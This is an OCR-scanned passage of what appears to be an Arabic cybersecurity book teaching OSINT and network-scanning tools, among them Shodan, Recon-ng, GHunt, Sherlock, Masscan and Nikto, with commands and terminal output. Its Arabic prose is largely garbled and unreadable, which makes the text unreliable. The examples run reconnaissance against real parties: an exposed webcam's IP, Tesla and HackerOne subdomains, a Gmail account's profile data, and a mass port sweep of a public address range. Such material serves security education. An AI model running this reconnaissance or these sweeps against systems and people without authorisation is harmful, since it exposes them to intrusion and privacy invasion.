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1. shodan search "webcam country:US has_screenshot:true"

2. shodan host 108.17.117.145

Lieadin) Apldll 5 5haall 3 (webcam 7 1 uelS) alaiadU T e Taa Loas ¢ J5Y) 5 5kall 8 1Jlal) 7 )d
e M a0 5 (Plum Ae A gl s Windows alais Jasy Slead) ol < jelal i) 4t 8 2SI host Y
A8y Hhlaall apdi b acluy Lluadlll Clasleal) (e @ 510l 128 (8888) (b

1l Al

yaser@CyberBookio:~$ shodan search --limit 3 --fields ip_str,port,org,product

"webcam country:US"

108.17.117.145 8888 Verizon Business webcam 7 httpd
69.23.51.139 8887 Charter Communications Inc webcam 7 httpd
173.24.54.0 3128 MEDIACOMCC D-Link DCS-5009L webcam

yaser@CyberBookio:~$ shodan host 108.17.117.145
108.17.117.145
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Hostnames: pool-108-17-117-145.pitbpa.fios.verizon.net
City: Plum

Country: United States

Operating System: Windows

Organization: Verizon Business

Updated: 2025-11-18T15:59:10.540697

Number of open ports: 1
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theHarvester 313 &l e

Badia jilas aladiuly (HackerOne) 48 il dgiadll 4l g daial 1 dae JUa
theHarvester -d hackerone.com -b bing,duckduckgo,crtsh

«DuckDuckGo «Bing :_ibeas 4330 aladiul hackerone.com daie Ldsgin! « Laay) s & 1l 7 4
Baaaall Al slaall 038 8 5 S 3y 5 il ) e Siad &l 811 0 e a2 ) (CRTsh) ded il clalgell o
2l 525 ¢(docs) sl s API I ) sa Jie 4y 5a (Subdomains) e b il 8 CadS b caaas Ll V)
A Ay 4 Ao 515 e
JAEGEN

yaser@CyberBookio: ~$ theHarvester -d hackerone.com -b bing,duckduckgo,crtsh

Read proxies.yaml from /etc/theHarvester/proxies.yaml

>k >k 3k 3k 5k 5k 5k 5k >k >k >k >k >k 5k 3k ok 5k 5k >k %k 5k >k >k 3k 5k 5k 3k 5k >k >k >k 5k 5k >k 5k 5k 5k 5k >k %k >k 5k 5k >k >k 5k >k 5k >k >k >k 5k >k %k >k 5k >k >k >k %k >k %k %k >k >k >k *k

* _ *
A I T O D /N /N U O D
x| __ I _N/_N // /7 1NN/ NN
x Lt r /7 __ /7o NvV/o_/AN__ NI __/ | *
* N__I_FTCINC__ N/ /2 NI V2R N I DRV VO N B *
* X

* theHarvester 4.8.2 *

>k >k 3k 3k 5k 5k 3k 5k >k >k >k 3k 3k 5k 3k 5k 5k 5k >k >k >k >k k 3k 5k 5k 5k 5k >k >k 5k 5k k 3k 3k 5k 5k 5k >k >k >k >k 5k 3k 5k 5k 5k 5k >k >k %k >k >k 3k 5k 5k 5k >k >k %k >k %k %k %k %k >k k

[*] Target: hackerone.com

Read api-keys.yaml from /etc/theHarvester/api-keys.yaml
Searching O results.

[*] Searching Bing.

[*] Searching CRTsh.

[*] Searching Duckduckgo.
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[*] No IPs found.
[*] No emails found.

[*] No people found.

[*] Hosts found: 8
api.hackerone.com
docs.hackerone.com
gslink.hackerone.com
mta-sts.forwarding.hackerone.com
mta-sts.hackerone.com
mta-sts.managed.hackerone.com
support.hackerone. com

websockets.hackerone.com

https://github.com/laramies/theHarvester :Jsaad

Recon-ng ¢.)

A site LRI ey g L) Clilee 20y Lasad aaae gl Al G5 JalSias A1) Jee |
e Gus (Metasploit seddl Jaadl jUaY 4liadl 5 el Ay Recon-ng Jwi L(OSINT) Laadll
el o I B (e Caill AL (Modules) <l e ac i el Y1l g Ay Al Ay
Jell Clalis acayy dalae Slily 320l Jaby alaie (50 deesddl @il JWaY) iy (Marketplace) «
CilHas Jedd el e <G Baaate Gldee 313 Jeon Lae s&v\.k:\.w\ & 5 A Al adial) (Workspaces)
‘WHOIS “leiul ((DNS Enumeration) DNS @by #1akul canll &S ae A sl Recon-ng
Gleal s e Jolsill 5 ¢ (Metadata Analysis) <lalell dudia ol clbilnll Julat ¢ gelaia ¥ Jaal gl Jibu 5 (8 Sl
Cile elid udNAY) 8 yidall 5 Sl GaY) 58 ine 4eadieg VirusTotals Shodan Jie i s 4y

£ LY 5 alaill saaeie ity il ol s ccalaall e dold 5 Ll
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https://github.com/laramies/theHarvester

Al Asaldll

eﬁ:m Q_UM\'B‘)L@.A\L;}M

Windows/Linux/macOS e (CLI) »/5Y s st} Rals]
(e kil
GPL-0.3 o Sl g 5

Recon-ng Blal ] TPV

‘Recon-ng alaaiuls (Tesla) 48 &l ddail) 4l saee g 3Uainl 1 das JUa

1. marketplace install recon/domains-hosts/hackertarget
modules load recon/domains-hosts/hackertarget

options set SOURCE tesla.com

Sw N

run

Al ool il Al (i i bl 21 Aty Hackertarget sas s axacius (Jiadl 13 L 1 Jlall 7
e Gasal a3l 53 s (vpn) Asal EY) ASll il ey o(mita) 2ol p30 55 (e e e Ganalilg oY) L)
Bagina () & (A AS Al Bl 6 sagd) mha (e Lgman aaleall (S AN il glaall die 535 paa a5y il
rla il

yaser@CyberBookio:~$ recon-ng

[*] Version check disabled.

A 117 A1/ A _/ _/
_/ A _/ _/ A _/
A_1_/ _S_1_/ _/ _/ S/
_/ A/ _/ _/ o/ 1/
_/ A A1/ /7 _/ _/
/\
/ N\ 7\
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Sponsored by. .. /N /\/ \\V /N
/ \N/ /77 N\\\\ AN /A
// // BLACK HILLS \/ \\

www.blackhillsinfosec.com

Www.practisec.com

[recon-ng v5.1.2, Tim Tomes (@lanmaster53)]

[2] Recon modules

[recon-ng] [default] > marketplace install recon/domains-hosts/hackertarget

[*] Module installed: recon/domains-hosts/hackertarget

[*] Reloading modules...

[recon-ng] [default] > modules load recon/domains-hosts/hackertarget

[recon-ng] [default] [hackertarget] > options set SOURCE tesla.com
SOURCE => tesla.com

[recon-ng] [default] [hackertarget] > run

[*] Country: None

[*] Host: tesla.com

[*] Ip_Address: 2.18.54.207
[*] Latitude: None

[*] Longitude: None

[*] Notes: None

[*] Region: None
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: ams13-gpgwl.tesla.com
Ip_Address: 199.120.50.30
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: dalll-gpgwl.tesla.com
Ip_Address: 199.120.56.30
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: mta.email.tesla.com
Ip_Address: 13.111.14.190
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: mta2.email.tesla.com
Ip_Address: 13.111.4.231
Latitude: None

Longitude: None

Notes: None

Region: None

CyberBook.io YA
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: emails.tesla.com
Ip_Address: 13.111.18.27
Latitude: None
Longitude: None

Notes: None

Region: None

Country: None

Host: click.emails.tesla.com
Ip_Address: 13.111.48.179
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: mta.emails.tesla.com
Ip_Address: 13.111.62.118
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: mta2.emails.tesla.com
Ip_Address: 13.111.88.1
Latitude: None

Longitude: None

Notes: None

Region: None

CyberBook.io V4
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: mta3.emails.tesla.com
Ip_Address: 13.111.88.2
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: mtad4.emails.tesla.com
Ip_Address: 13.111.88.52
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: mtab.emails.tesla.com
Ip_Address: 13.111.88.53
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: view.emails.tesla.com
Ip_Address: 13.111.49.179
Latitude: None

Longitude: None

Notes: None

Region: None
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: events.tesla.com
Ip_Address: 13.111.47.195
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: hnd13-gpgwl.tesla.com
Ip_Address: 199.120.52.30
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: iadOb-gpgwl.tesla.com
Ip_Address: 199.120.48.30
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: itanswers.tesla.com
Ip_Address: 204.74.99.100
Latitude: None

Longitude: None

Notes: None

Region: None
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: lax32-gpgwl.tesla.com
Ip_Address: 199.120.54.30
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: marketing.tesla.com
Ip_Address: 13.111.47.196
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: model3.tesla.com
Ip_Address: 205.234.27.221
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: ptrl.tesla.com
Ip_Address: 117.50.35.199
Latitude: None

Longitude: None

Notes: None

Region: None
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: 03.ptrl444.tesla.com
Ip_Address: 149.72.152.236
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: ptr2.tesla.com
Ip_Address: 117.50.14.178
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: o02.ptrb56.tesla.com
Ip_Address: 149.72.134.64
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: o7.ptr6980.tesla.com
Ip_Address: 149.72.144.42
Latitude: None

Longitude: None

Notes: None

Region: None
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]
[*]
(]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
(]
[*]
[*]
(]
[*]
[*]

Country: None

Host: ob5.ptr8466.tesla.com
Ip_Address: 149.72.172.170
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: 06.ptr9437.tesla.com
Ip_Address: 168.245.123.10
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: sinOb-gpgwl.tesla.com
Ip_Address: 199.120.53.30
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: acs2-poc.voice.tesla.com
Ip_Address: 199.120.48.73
Latitude: None

Longitude: None

Notes: None

Region: None
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[*] Country: None

[*] Host: vpnl.tesla.com

[*] Ip_Address: 8.45.124.215
[*] Latitude: None

[*] Longitude: None

[*] Notes: None

[*] Region: None

[#] ———— =
[*] Country: None

[*] Host: xmail.tesla.com

[*] Ip_Address: 204.74.99.100
[*] Latitude: None

[*] Longitude: None

[*] Notes: None

[*] Region: None

[*] 31 total (31 new) hosts found.

[recon-ng] [default] [hackertarget] >

https://github.com/lanmaster53/recon-ng :Jsaad

SpiderFoot ¢.)

OlS Jais LS 555 elian Lgadass li) Aluy SpiderFoot 588 .OSINT ) alle 8 Slad 483 311 (e 1S5 Ui
SBlaa) <|P Gsbie el aglls dai (e o o IS pand o elie d0bally ity JalS ) jlainl (5 8 e
Shal 33 53 ga el (g5 S Lo Apnia Ay J gl (i g 0ty il ot dzad ) Cilalged e Laial il ¢pila 5
Cany S jae (e ccalite by e 200 Ge ST Y Lale adiad A jalead) sae L La 488l 5 53))
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https://github.com/lanmaster53/recon-ng

0 o gagl) land ALK 5y geall lelaY Lpmany il shaall oy 5 Jalacill g i 30 e 5508 e cJalS T JS a1y
.(Attack Surface)

L.m_g.u u}M\oJL@.AS\&}:\uA

Windows/Linux/macOS e (CLI) sl s¥1 s + ) el Lol
e 4all)
GPL-0.2 o il g g

SpiderFoot sl & jaes

) oA i) cend (Apple) Ji AS 58 Gl el pand reles i
python3 sf.py -s apple.com -m sfp_dnsresolve,sfp_email -q

ASEl dgiatl) Al - gm g (2 a3l apple.com Blai pasds Liad (JU) 12 & 1JE 7 i
3aY1 L) o alaiadl 35 SY) dkidll (10.144.253.17) il IPV4 Ol sie 5 IPV6 o) sie &b b Loy
CliUail) (p Aaa) i) CalS e 1Y) 5 )08 i gy

LE ERN

yaser@CyberBookio: ~/spiderfoot$ python3 sf.py -s apple.com -m sfp_dnsresolve,
sfp_email -q

Source Type Data

SpiderFoot UI Internet Name apple.com
SpiderFoot UI Domain Name apple.com
sfp_dnsresolve IPv6 Address 2620:149:af0::10
sfp_dnsresolve Domain Name apple.com
sfp_dnsresolve IP Address 17.253.144.10
sfp_dnsresolve Internet Name apple.com
sfp_dnsresolve Internet Name www.brkgls.com

sfp_dnsresolve Domain Name (Parent) brkgls.com
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https://spiderfoot.org :Jwaad

Metagoofil 1.\

ikl Jals gadl (Metadata) G sl i) Jilad s ) 530 dacas jhaall da siie s dylas Loaradiia sl
Jia Gl IS e 8 Sl sy Metagoofil Jass A S adl sall e 3 ) sdiall dalall Cilatindl
Ll s clalall o3 Jaaniy o 685 5 o(Target Domain) caagioe Glaiy dasi ye 300a0 <lile ¢ 51 02 Google
sland 1zl A0 ALEN dha gl bl Jali Wasas Log,dl @y ¥ 8 ddlia Claslas 2l A0 (Gery
(In- Adalall lalall <l jlase o) 53l 55 3eal) eland cclalall | 5Lasl oAl (pila sall (Usernames) osediivdll
Gl 5 e S AN &l o glie ((Software Versions) awadiudl zal il & jlaa) ternal File Paths)
PDF« DOC« Jis 333aie cilile cilipneti 31y acxi Auall 4 latall diail) 4l e el sbea Blal 5 eJpanill 5 sLsY)
* (Penetration Testers) @l sl s iae lgeading W e 5 <DOCX¢ XLS¢ XLSX¢ PPT¢« PPTX
(Social e lia) gl ol dga sall Cilanell A 2o Lok 28 Ao ) Lol Cila slaa e J geanll g Main) A e

.Engineering)

4addl) WS EN

e | lhaall 3 leall (5 sl

Windows/Linux/macOS e (CLI) s sY! s sl Lala
= aalssl)
GPL-0.2 o il ¢ 5

Metagoofil 33 < jee

Baasie <l 53l aladiuly (SANS) (e A sl bl Jalai 5 aaad ALS 3 550 1 as Jlia

1. metagoofil -d sans.org -t pdf —-n 8 -o sans_docs
2. cd sans_docs/

3. exiftool * | grep -i "Author"

oo Candl Alee 430Y Metagoofil aadins sl ALK 4 gngll Bla 550 gy JUall 138 1l 7 5
Jdaad 5 4=dy chlalall PEN uasdl ExifTool PREGRA A alaall ) Jain sl\l\ﬂ .sans.org QA}A o Lebiant g clatigl)
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40 e slra & 5 (PDF I cilile Jala (e (Lynn ,dgoetz ,Brian) duisial) Gueddiiuall elad ) jain) Lisdai
BaaY Hooal il e cpadill claaa dydul
rla il

yaser@CyberBookio: ~$ metagoofil -d sans.org -t pdf -1 20 -n 8 -o sans_docs

LIt/ Nt 1/ N7 N/ NI __IL I
1 1 T /28 O G2 NV V2 S O B O
[*] Starting online search...

[*] Searching for pdf files in sans.org

[*] Results: 20 files found.

[*] Downloading 8 files...
[+] Downloaded: agenda.pdf
[+] Downloaded: hexquiz_answers.pdf
[+] Downloaded: SANS_Roadmap.pdf
[+] Downloaded: trademarkuse.pdf

[+] Downloaded: whatworksextrahoppaper.pdf

[*] Download complete. Files saved to sans_docs/

yaser@CyberBookio:~$ cd sans_docs/

yaser@CyberBookio: ~/sans_docs$ exiftool * | grep -i "Author"

Author : Brian
Author : dgoetz
Author : Lynn

https://github.com/opsdisk/metagoofil :Jsasd
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OSINT Framework V.\

Jhadl da gite @ LAY b daaadiall 5 ) sall 5l 521 Cilie aaad YY) e dpilaa s dleld s e duaie
OSINT Framework = s sill AL duad dday i JS5 o 4ol 4y juny 48 jhay Lealasiy (OSINT)
(Cyberse- il 5aY s «(Digital Investigators) cusd V opiaadl bl Tas jas Llee S
(Security oY) Gialdl s ((Investigative Journalists) oxibaiin¥) oisall ccurity Analysts)
<l ) JUaY) sy Ba3ne 481 il agad canliall Jaaall 5 81aY) st ) (o salisg (03 Researchers)
Jual sl Jilus s Jila3 ((Username Search) osexdiud) claul o diagl ;e daal y djilaie il G
sl adalia s ) seall s ([P aslie 5 clillaill slawl e Cal ((Social Media Analysis) =liaY!
dadia )l SULA Qs «(Dark Web Search) dallaall 45080 8 Sl ((Image and Video Analysis)
G AY cldl e € ((Geolocation) i sall Gl ((Metadata Analysis)
asinall Ji (e pUaEL JUY) Cuand o el Jsaa sl Jeass Las il Jaal e (5585 da jaa slal S
& il dglec 5V Al (35Ul AL Aleay Las czmal ol coiitl dalall () 50 miaiiall jue JalS USG5 Jany g ¢ S50

-

Al Asaldll

i | lhaall 3 )leall (5 siue

g._g}M L. :~-“ “ I..i
e s
MIT License o il &

OSINT Framework 32l < jaee

https://osintframework.com :Jal

Sherlock A

310Y) 028 Sherlock st o Ued «cuisBY) o 2o ge 4nlia (g 4 jre zlindy adiive aul aie (IS 1)
.u=xil (Digital Footprint) 4l daall 4klsll 3 ) guall Sl

CyberBook.io Y4 anll uly


https://osintframework.com

5 GitHub s Instagram s X Jis ¢s ) sia JS50 elaia¥) Jual gll Cliaia g a8 gall Clia A S g3 <8

Cliaill 5 liae Lelany 138 5 ¢ 9n sa 5a (355 SN 35 g0 ] g ll a5 SN W e 5 TikTok s Reddit
.(Reconnaissance) g hiw¥) dla o 843 Silasd in g o Jaii¥) G¥la ¢y jall Cllal) CRS (il )
(v \gaadiadd ol latll oS5 (ldie CSV sl JSON Ui sy il Jais a5 ¢ el 531 shans (30 Jagusy Ll

d)ii &:l‘}.li

i | slhall 3 lgall (5 sina

Windows/Linux/macOS ke (CLI) ! 5¥) shw sl falaif
(e kil
MIT pas sl g 5

Sherlock 8131 <l jrae

ALK il Jilas 5 (yaser) il addiie aul e Sl 1 des Jla
python3 sherlock yaser --timeout 1 --print-found

03 Jon b Ml 177 4 bl el (yaser) Tas gl anl e Wing OLaa¥) s 3 1 Jla) 7 5é
TikTok Jie dasin 5 (558 Clamie b Slilea ks (b il 35S o2 5 (NOiSE) sl Liasi 8 Jlaal
o b pall Slaidl Jalad (S laiw @aiaill 498 WSS ) bl aay GitHub 5 Telegram 5 Reddit s
3 53l

sl il

yaser@CyberBookio: ~$ sherlock yaser --timeout 1 --print-found
Update available! 0.15.0 --> 0.16.0
https://github.com/sherlock-project/sherlock/releases/tag/v0.16.0

[*] Checking username yaser on:

[+] 9GAG: https://www.9gag.com/u/yaser
[+] GitHub: https://www.github.com/yaser
[+] GitLab: https://gitlab.com/yaser
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[+] HackTheBox: https://forum.hackthebox.com/u/yaser
[+] Medium: https://medium.com/@yaser

[+] Reddit: https://www.reddit.com/user/yaser

[+] SoundCloud: https://soundcloud.com/yaser

[+] Spotify: https://open.spotify.com/user/yaser

[+] Telegram: https://t.me/yaser

[+] TikTok: https://www.tiktok.com/Qyaser

[+] Wikipedia: https://en.wikipedia.org/wiki/Special:CentralAuth/yaser

[+] WordPressOrg: https://profiles.wordpress.org/yaser/

[*] Search completed with 177 results

https://github.com/sherlock-project/sherlock :Jsaad
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GHunt 313 & e

:GHunt 330 alasiuly (Gmail) Cles slaiinl 1 das Jia

ghunt email hacker.one.bounty@gmail.com

a5 d8ladll L3310Y) Caa hacker.one.bounty (s ST &yl Ubagind ¢ JLaay) 1 L Jlall 7
o5 (2023 k) addll Glall Jiad AT & 5 (Gaia ID) 2l e Cojaad) Jie i) il

calendar)« public No s review (No 4xle clily 35a 5 a2 Calendar s Maps oud (8 Ladl ey
o) 5o Jodn sl 428 ga (g yust el s (S A uadll) Cilalae ) daay 28 Cangll o) e oy Lea

EGERN]

yaser@CyberBookio:~$ ghunt email hacker.one.bounty@gmail.com

.d8888b. 888 888
d88P Y88b 888 888
888 888 888 888
888 8888888888
888 88888 888 888
888 888 888 888
Y88b d88P 888 888

"Y8888P88 888 888

> GHunt 2.3.3 (

888 888 88888b.
888 888 888 "88b
888 888 888 888
Y88b 888 888 888
"'Y88888 888 888

[+] Stored session loaded !
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[+] Authenticated !

Google Account data
[+] Custom profile picture !
=> https://1h3.googleusercontent.com/a-/ALV-UjXRK200AfYveZ_CuGLjlvg_sYzZzRP6itARnhws(Q
[-] Default cover picture
Last profile edit : 2023/03/27 07:51:47 (UTC)
Email : hacker.one.bounty@gmail.com

Gaia ID : 112364206281821368972

User types :
- GOOGLE_USER (The user is a Google user.)

Google Chat Extended Data
Entity Type : PERSON

Customer ID : Not found.

Maps data
Profile page : https://www.google.com/maps/contrib/112364206281821368972/reviews

[-] No review.

Calendar data

[-] No public Google Calendar.

https://github.com/mxrch/GHunt :Jseas

Have | Been Pwned :.\
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1. nmap -sV -F scanme.nmap.org
2. nmap -A -T4 scanme.nmap.org

3. nmap --script http-enum -p 80 testphp.vulnweb.com

_OpenSSH s Apache Al A8 ) jlaal (e (RS faanag g :dja’\ oaadll )
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eduiall aUas (el Jsla 5 (SSH Host Keys) il il e i€ ¢(-A) s 1 A (asdl) Y
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yaser@CyberBookio:~$ nmap -sV -F scanme.nmap.org

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 14:23 +04
Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.30s latency).

Not shown: 95 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
25/tcp open tcpwrapped

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

135/tcp filtered msrpc
139/tcp filtered netbios-ssn

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

yaser@CyberBookio:~$ nmap -A -T4 scanme.nmap.org

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 14:24 +04
PORT STATE SERVICE VERSION

22/tcp  open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
| ssh-hostkey:

| 1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA)

| 2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA)
25/tcp  open tcpwrapped

80/tcp  open http Apache httpd 2.4.7 ((Ubuntu))

| _http-server-header: Apache/2.4.7 (Ubuntu)

| _http-title: Go ahead and ScanMe!

Device type: firewall
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Running (JUST GUESSING): Fortinet embedded (90%)

Aggressive 0S guesses: Fortinet FortiGate 200B firewall (90%)

yaser@CyberBookio:~$ nmap --script http-enum -p 80 testphp.vulnweb.com
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 14:28 +04

Nmap scan report for testphp.vulnweb.com (44.228.249.3)

rDNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com
PORT STATE SERVICE

80/tcp filtered http

https://nmap.org :Jpaad
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Masscan 3l &) SYPON

:Masscan #x2iuL B) Class (Public 4xul s dule 4S5 jasd ;e JUa
sudo masscan 23.0.0.0/16 -p80 --rate=500

@5 @l o) i all B5 (e ST e (5 5m0 (0/16.0.0.23) ple cnstic Gl ands a5 Ul £
il 3 Lo 1Y) G ) i e Al Ales 3 (L) Blal Adadill o) ) cilie e 3 CadSs Cua ¢Alila Ao
Lo SY Jlaall austy ol ) (5 AY) N e CAYY) (i se 5 CBLEES) 33 jaiie

AEGEN

yaser@CyberBookio:~$ sudo masscan 23.0.0.0/16 -p80 --rate=500
Starting masscan 1.3.2 (http://bit.1ly/14GZzcT) at 2025-11-19 10:44:36 GMT

Initiating SYN Stealth Scan

Scanning 65536 hosts [1 port/host]

Discovered open port 80/tcp on 23.0.250.246
Discovered open port 80/tcp on 23.0.184.99
Discovered open port 80/tcp on 23.0.9.137

Discovered open port 80/tcp on 23.0.136.77
Discovered open port 80/tcp on 23.0.131.175
Discovered open port 80/tcp on 23.0.58.247
Discovered open port 80/tcp on 23.0.64.252
Discovered open port 80/tcp on 23.0.240.105
Discovered open port 80/tcp on 23.0.150.15
Discovered open port 80/tcp on 23.0.162.44
Discovered open port 80/tcp on 23.0.46.108
Discovered open port 80/tcp on 23.0.23.60

Discovered open port 80/tcp on 23.0.248.19
Discovered open port 80/tcp on 23.0.192.146
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Discovered open port 80/tcp on 23.0.83.222
Discovered open port 80/tcp on 23.0.65.95
Discovered open port 80/tcp on 23.0.134.114

https://github.com/robertdavidgraham/masscan :Jseal
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sudo zmap -p 443 -N 10000 -o results.csv -B 10M
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yaser@CyberBookio:~$ sudo zmap -p 443 -N 10000 -o results.csv -B 10M
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send:

send:
send:
send:
send:
send:
send:
send:

send:

send:
send:
send:
send:
send:
send:
send:
send:

send:

.267 [INFO] zmap: By default, ZMap will output the unique IP addresses

.267 [INFO] dedup: Response deduplication method is full

.288 [INFO] recv: duplicate responses will be excluded from output

0 0 p/s (0 p/s avg); recv: 0 0 p/s (0 p/s avg); hitrate: 0.00%

12637 12.6 Kp/s (12.4 Kp/s avg); recv: 817 817 p/s; hitrate: 6.47}
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109872 13.9 Kp/s (13.7 Kp/s avg); recv: 1000 0 p/s; hitrate: 0.91%
123762 13.9 Kp/s (13.7 Kp/s avg); recv: 1000 O p/s; hitrate: 0.81%
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p/s; hitrate: 0.12%

p/s; hitrate: 0.12%

p/s; hitrate: 0.12%

O O O O o o o

0

0

0
p/s; hitrate: 0.12%

0

0

0

p/s; hitrate: 0.12j
832 p/s; hitrate: 0.13

p/s; hitrate: 0.13%
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Nov 20 11:06:49.445 [INFO] zmap: completed

https://zmap.io 1Jad
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yaser@CyberBookio:~$ nikto -h demo.owasp-juice.shop -o juice_report.txt -Format txt

- Nikto v2.5.0

+ Target IP: 81.169.145.156

+ Target Hostname: demo.owasp-juice.shop

+ Target Port: 80

+ Start Time: 2025-11-20 11:19:45 (GMT4)

+ Server: Heroku

+ /: Uncommon header 'x-recruiting' found, with contents: /#/jobs.

+ /robots.txt: Entry '/ftp/' is returned a non-forbidden HTTP code (200).

+ /demo.owasp-juice.shop.war: Potentially interesting backup/cert file found.
+ /database.egg: Potentially interesting backup/cert file found.

+ /site.tar: Potentially interesting backup/cert file found.

+ /demo.owasp-juice.jks: Potentially interesting backup/cert file found.
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+ /demoowasp-juice.alz: Potentially interesting backup/cert file found.

+ /shop.cer: Potentially interesting backup/cert file found.

+ /demo_owasp-juice_shop.tar: Potentially interesting backup/cert file found.
+ /backup.alz: Potentially interesting backup/cert file found.

+ /dump.war: Potentially interesting backup/cert file found.

+ /81.169.145.156.pem: Potentially interesting backup/cert file found.

+ /database.pem: Potentially interesting backup/cert file found.

+ /demoowasp-juiceshop.jks: Potentially interesting backup/cert file found.
+ /shop.tgz: Potentially interesting backup/cert file found.

+ /archive.tar.lzma: Potentially interesting backup/cert file found.

+ /dump.war: Potentially interesting backup/cert file found.

+ /demo.war: Potentially interesting backup/cert file found.

+ /backup.pem: Potentially interesting backup/cert file found.

+ /demo.tar.lzma: Potentially interesting backup/cert file found.

+ /shop.egg: Potentially interesting backup/cert file found.

+ /demo.owasp-juice.tgz: Potentially interesting backup/cert file found.

+ /database.cer: Potentially interesting backup/cert file found.

+ /site.pem: Potentially interesting backup/cert file found.

+ /ftp/: This might be interesting.
+ /public/: This might be interesting.
+ /assets/: Directory indexing found.

+ /swagger.yml: Swagger API definition found.

https://github.com/sullo/nikto :Jsad

OpenVAS ©¢.Y

31aY1 o2a .OpenVAS radll 7 sitall 33laall S5 e 2038 ¢ A sl JS L) &l il asd e Eaati ladie
Greenbone eshic (o ulad ¢ 3o a5 (Nessus Jie Zdall &y laill ¢ 03 6 aY1 5 el il sall o
Sle gsint Al jlall Ll sacld 3 S 4aaall i 8 AklSidl Vulnerability Management (GVM)
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35en Jemy (o IS Lglbaad o sac @) oda o @b (e Jaa¥l s ((NVTs) < _sill sl 160,000 o S
Sl Aalil e ol 8 Ly 5 ¢ o8 US Gand OpenVAS sl adais allall Jsa el cpfinlll aaina
Agals pa A g A yial B LY 5 A5y dgial il 3 gl e By el ae) 5 cilaaa) ) il
Aadiie ) jpe ae 23 LS las Aliade )l 2 jaiul 5 (andl) Gllee Asan 5500 ¢l and (GSA) AalSia g
el il axy Laa cJala (e Lgnand s 2l ) U5l (authenticated scans) Bsbadl (asdll Jic
A sSall clgall 5 5 sl il sall 8 aal 5 Bl o aniind Ciaal ol Jaaall a3 JS Gansy 38y ST
Aial) gty len 8 30l Aaiia (51 aaling 3 jaiadll - giall # Sl o8 LAl | e el 3 ) gliag

Lo gla QJM\E)LG_A\&}L»A

Linux e (CLI) el sY) s + cusdgals Saail) Al
g el e Aalsil)
AGPL 0.3 s il g3

OpenVAS sl &l jaae

https://www.openvas.org :Jsaad

Nessus 1.¢

sl dldl s Tenable 4S5 (e Nessus ¢l éa sidall jabadll dlle 4 kil 8 OpenVAS oS 13)
calladl 8 (5 Sl IS Qe lgdde aaiad ) 30N e L A5 ¢ e DU g oladl alladl 8 aadll Ll
Nessus i galidl ¢l i ol Agaall 558l ol el 5y dldlSie daie & Ji ol 2 yme Cid A
Ledla ol )i 3 jme i o385 (Plugin) 4ilaa) 295,000 o ST e (5513 i 5 ball atlily saclE o
el ) eclinbail) g Jaandall dabail (pe 4lds (San ool S dadast] jaiie JS Lgfiaaty o (anadie Jay (51 8
il dpalis il LB g dids b e e JST Azure s AWS e saiaall dplandl cilindl s 5 ccililydl
Ao JI8y 138 5 (Jalal (e Lpand 5 Aadaid Jsaall e 38l Lealaad (Authenticated Scanning) ddsbaall
ol IS8 Ly dagas By 0 o AL a5 Jan uS US4 (False Positives) ablall dulagy) i)
